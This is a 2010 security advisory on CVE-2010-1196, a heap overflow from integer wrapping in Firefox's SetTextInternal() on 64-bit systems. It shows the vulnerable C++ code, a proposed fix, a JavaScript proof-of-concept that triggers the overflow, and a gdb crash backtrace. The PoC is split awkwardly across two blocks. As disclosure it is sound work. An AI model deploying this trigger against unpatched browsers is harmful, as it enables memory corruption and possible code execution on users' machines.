

MWR InfoSecurity Security
Advisory

Mozilla Firefox 64-Bit
SetTextInternal () Heap Buffer
Overflow

23rd June 2010

MWR  INFOSECURITY

Mozilla Firefox 64-bit SetTextInternal() Heap Buffer Overflow

Package Name:	Mozilla Firefox
Discovery Date:	14 th December 2009
Affected Versions:	Firefox 3.5 and 3.6 below 3.6.4

CVE Reference	CVE-2010-1196
Author	Nils
Severity	High Risk
Local/Remote	Remote
Vulnerability Class	Heap buffer overflow
Impact	Remote code execution
Vendor URL	http://www.mozilla.com/en-US/firefox/
Vendor Response	The vendor has issued version 3.6.4 which fixes the issue
Exploit Details Included	Yes

Overview:

MWR InfoSecurity identified a vulnerability in Mozilla Firefox on 64-bit platforms. Successful exploitation of this vulnerability will allow for remote code execution in the context of the user. User interaction is required in that a user has to visit a malicious website.

Impact:

MWR InfoSecurity were able to craft a Proof-of-Concept exploit which demonstrates arbitrary code execution. The exploit can only be triggered on 64-bit systems with sufficient memory.

Cause:

The length of strings is not properly sanitized. This will lead to a heap overflow as improper types are used to hold the string length.

Solution:

The vendor has issued a patch with version 3.6.4 which fixes the issue. It can be downloaded from the vendor web page or installed through Firefox auto-update functionality.

1 Detailed Vulnerability Description

1.1 Technical Background

A heap buffer overflow vulnerability was discovered which is caused by an integer overflow in `nsGenericDOMDataNode::SetTextInternal()`.

Due to the amount of data needed to trigger the vulnerability (> 8 gigabytes), this is only exploitable on 64-bit systems. This vulnerability was tested on Ubuntu AMD64 with the default install of Firefox and a custom build of Firefox on the same system.

The vulnerable code is in `nsGenericDOMDataNode::SetTextInternal()`

`content/base/src/nsGenericDOMDataNode.cpp:399:`

```
PRInt32 newLength = textLength - aCount + aLength;
PRUnichar* to = new PRUnichar[newLength];
NS_ENSURE_TRUE(to, NS_ERROR_OUT_OF_MEMORY);

// Copy over appropriate data
if (0 != aOffset) {
    mText.CopyTo(to, 0, aOffset);
}
if (0 != aLength) {
    memcpy(to + aOffset, aBuffer, aLength * sizeof(PRUnichar));
}
```

With a very large `aLength` or `textLength` an attacker would be able to wrap the integer `newLength`, resulting in an allocation of a too small buffer. When `aLength` is larger than zero the `memcpy()` will overflow the buffer.

A proposed fix would be to use `size_t` or similar value types for all length values, as this will ensure that the right value types are used for any length and size values. Furthermore the result of calculations which may wrap should be checked. The following Proof-of-Concept code will trigger the bug. Note that there will be multiple ways of triggering the issue:

POC Code:

```
// fast way of allocating huge strings
function getlongstr(leng) {
    var str = unescape("%udead");
    var tsize = leng;
    while(str.length < ((tsize/6)/0x10)) str += str;
    str = str.substring(0, ((tsize/6)/0x10));
    var sz = tsize / 6;
    var comp = str.length;
    var ar = new Array();
    var act = 0;
    for(var i=0; i<0x11; i++) {
        act += comp;
        ar.push(str);
    }
    var longstr = ar.join("");
    longstr = longstr.substring(0, tsize/6);
}
```

```

        ar = null;
        str = null;
        longstr = escape(longstr);
        return longstr;
    }

function start() {
    var appendStr = "AA";
    while(appendStr.length < 16500) appendStr+=appendStr;
    var x= document.createComment("");
    alert("created comment");
    var longstr = getlongstr(0xffffffffc);
    x.appendData(appendStr);
    x.insertData(0x7f80, longstr);
    alert("done");
}
start();

```

Provided the test system has enough memory (>8 gigabyte) following crash will be triggered:

```

Stack backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (
    this=0x7ffffd9bc9380, aOffset=32640, aCount=1992294400,
    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)
    at /usr/include/bits/string3.h:52
52      return builtin_memcpy_chk ( dest, src, len, bos0 ( dest));
(gdb) bt 10
#0  0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (
    this=0x7ffffd9bc9380, aOffset=32640, aCount=1992294400,
    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)
    at /usr/include/bits/string3.h:52
#1  0x00007ffff731f139 in NS_InvokeByIndex_P (that=0x7fffff430,
    methodIndex=4294951152, paramCount=32767, params=0x7ffffd4000)
    at /home/nils/64-bit/audit/firefox/mozilla-
1.9.1/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_linux.cpp:208
#2  0x00007ffff6b42b81 in XPCWrappedNative::CallMethod (cx=..., mode=16)
    at /home/nils/64-bit/audit/firefox/mozilla-
1.9.1/js/src/xpconnect/src/xpcwrappednative.cpp:2456
#3  0x00007ffff6b4a5fb in XPC_WN_CallMethod (cx=0x7fffe3356000,
    obj=0x7ffc771cc100, argc=3720560384, argv=0x1ffa33ef8, vp=0x8000)
    at /home/nils/64-bit/audit/firefox/mozilla-
1.9.1/js/src/xpconnect/src/xpcwrappednativejsops.cpp:1590
#4  0x00007ffff6434383 in js_Invoke (cx=0x7fffe3356000, argc=32767,
    vp=0x7fffe237e160, flags=32767)
    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1386
#5  0x00007ffff64255bc in js_Interpret (cx=0x7fffe3356000)
    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:5179
#6  0x00007ffff643438d in js_Invoke (cx=0x7fffe3356000, argc=32767,
    vp=0x7fffe237e040, flags=32767)

```

MWR InfoSecurity
St. Clement House
1-3 Alencon Link
Basingstoke, RG21 7SB
Tel: +44 (0)1256 300920
Fax: +44 (0)1256 844083
mwrinfosecurity.com